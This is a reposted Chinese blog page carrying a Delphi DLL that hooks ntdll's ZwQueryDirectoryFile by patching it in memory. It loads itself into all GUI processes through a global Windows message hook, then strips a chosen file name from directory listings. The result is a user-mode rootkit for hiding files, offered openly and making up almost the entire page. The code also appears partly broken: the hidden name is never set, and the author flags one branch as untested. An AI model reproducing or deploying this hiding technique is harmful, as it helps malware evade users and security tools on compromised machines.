本文整理自网络，侵删。
library Hide;
uses
Windows,
Native,Dialogs,SysUtils;
const
FileDirectoryInformation = 1;
FileFullDirectoryInformation = 2;
FileBothDirectoryInformation = 3;
FileNamesInformation = 12;
STATUS_NO_SUCH_FILE = $C000000F;
type
OldCode = packed record
One: dword;
two: word;
end;
type
FILE_DIRECTORY_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize: int64;
FileAttributes: ULONG;
FileNameLength: ULONG;
FileName: PWideChar;
end;
PFILE_DIRECTORY_INFORMATION=^FILE_DIRECTORY_INFORMATION;
type
FILE_FULL_DIRECTORY_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize: int64;
FileAttributes: ULONG;
FileNameLength: ULONG;
EaInformationLength: ULONG;
FileName: PWideChar;
end;
type
FILE_BOTH_DIRECTORY_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize: int64;
FileAttributes: ULONG;
FileNameLength: ULONG;
EaInformationLength: ULONG;
AlternateNameLength: WORD;
AlternateName: array [0..11] of WideChar;
FileName: WideChar;
end;
PFILE_BOTH_DIRECTORY_INFORMATION=^FILE_BOTH_DIRECTORY_INFORMATION;
type
FILE_NAMES_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
FileNameLength: ULONG;
FileName: PWideChar;
end;
far_jmp = packed record
PuhsOp: byte;
PushArg: pointer;
RetOp: byte;
end;
var
JmpZwq: far_jmp;
OldZwq: OldCode;
PtrZwq: pointer;
Function ZwQueryDirectoryFile(FileHandle: dword;
Event: dword;
ApcRoutine: pointer;
ApcContext: pointer;
IoStatusBlock: pointer;
FileInformation: pointer;
FileInformationLength: dword;
FileInformationClass: dword;
ReturnSingleEntry: bool;
FileName: PUnicodeString;
RestartScan: bool): NTStatus;
stdcall; external 'ntdll.dll';
Function TrueZwQueryDirectoryFile(FileHandle: dword;
Event: dword;
ApcRoutine: pointer;
ApcContext: pointer;
IoStatusBlock: pointer;
FileInformation: pointer;
FileInformationLength: dword;
FileInformationClass: dword;
ReturnSingleEntry: bool;
FileName: PUnicodeString;
RestartScan: bool): NTStatus;
stdcall;
var
Written: dword;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
@OldZwq, SizeOf(OldCode), Written);
Result := ZwQueryDirectoryFile(FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
FileInformation,
FileInformationLength,
FileInformationClass,
ReturnSingleEntry,
FileName,
RestartScan);
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
@JmpZwq, SizeOf(far_jmp), Written);
end;
function NewZwQueryDirectoryFile (FileHandle: dword;
Event: dword;
ApcRoutine: pointer;
ApcContext: pointer;
IoStatusBlock: pointer;
FileInformation: pointer;
FileInformationLength: dword;
FileInformationClass: dword;
ReturnSingleEntry: bool;
FileName: PUnicodeString;
RestartScan: bool): NTStatus; stdcall;
var
lNamePWC: PWideChar;
lNameW, HideFileNameW: WideString;
lPrevPt, lPt: Pointer;
lNextEntryOffset: ULONG;
lSz: ULONG;
begin
Result := TrueZwQueryDirectoryFile( FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
FileInformation,
FileInformationLength,
FileInformationClass,
ReturnSingleEntry,
FileName,
RestartScan );
if not (FileInformationClass in [ FileDirectoryInformation,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileNamesInformation]) or
(Result = STATUS_NO_SUCH_FILE) or
(FileInformationLength = 0) then Exit;
lPt := FileInformation;
lPrevPt := nil;
repeat
lNextEntryOffset := ULONG(lPt^);
case FileInformationClass of
FileDirectoryInformation:
begin
lSz := FILE_DIRECTORY_INFORMATION(lPt^).FileNameLength;
lNamePWC := @FILE_DIRECTORY_INFORMATION(lPt^).FileName;
end;
FileFullDirectoryInformation:
begin
lSz := FILE_FULL_DIRECTORY_INFORMATION(lPt^).FileNameLength;
lNamePWC := @FILE_FULL_DIRECTORY_INFORMATION(lPt^).FileName;
end;
FileBothDirectoryInformation:
begin
lSz := FILE_BOTH_DIRECTORY_INFORMATION(lPt^).FileNameLength;
lNamePWC := @FILE_BOTH_DIRECTORY_INFORMATION(lPt^).FileName;
end;
FileNamesInformation:
begin
lSz := FILE_NAMES_INFORMATION(lPt^).FileNameLength;
lNamePWC := @FILE_NAMES_INFORMATION(lPt^).FileName;
end;
end;
SetLength( lNameW, lSz div 2);
Move( lNamePWC^, lNameW[1], lSz );
(* Checkin for our file name *)
if lstrcmpiW( @HideFileNameW[1], @lNameW[1] ) = 0 then
begin //Founded :)
if lPt = FileInformation then
begin // begin
//This code part not tested, may have bugs :b
if lNextEntryOffset <> 0 then
begin
lPt := Pointer(ULONG(lPt)+lNextEntryOffset);
Move( lPt^, FileInformation^, FileInformationLength - lNextEntryOffset );
end
else
Result := STATUS_NO_SUCH_FILE;
end
//this part works fine
else
if lNextEntryOffset <> 0 then
begin // center
ULONG(lPrevPt^) := ULONG(lPrevPt^) + lNextEntryOffset;
end
else //end
begin
ULONG(lPrevPt^) := 0;
end;
Break; //
end;
lPrevPt := lPt;
lPt := Pointer(ULONG(lPt)+lNextEntryOffset);
until lNextEntryOffset = 0;
end;
Procedure SetHook();
var
Bytes: dword;
begin
PtrZwq := GetProcAddress(GetModuleHandle('ntdll.dll'),
'ZwQueryDirectoryFile');
ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
JmpZwq.PuhsOp := $68;
JmpZwq.PushArg := @NewZwQueryDirectoryFile;
JmpZwq.RetOp := $C3;
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;
Procedure Unhook();
var
Bytes: dword;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;
Function MessageProc(code : integer; wParam : word;
lParam : longint) : longint; stdcall;
begin
CallNextHookEx(0, Code, wParam, lparam);
Result := 0;
end;
Procedure SetGlobalHookProc();
begin
SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
Sleep(INFINITE);
end;
//
Procedure SetGlobalHook();
var
hMutex: dword;
TrId: dword;
begin
hMutex := CreateMutex(nil, false, 'ProcHideHook');
if GetLastError = 0 then
CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
CloseHandle(hMutex);
end;
procedure DLLEntryPoint(dwReason: DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH: begin
SetGlobalHook();
SetHook();
end;
DLL_PROCESS_DETACH: begin
Unhook();
end;
end;
end;
begin
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end. 相关阅读 >>
Delphi xe 无法编译apk提示sdk路径问题时？sdk路径配置方法
Delphi 跨平台的，在fmx中读取icon文件的每一帧到bitmap
更多相关阅读请进入《Delphi》频道 >>
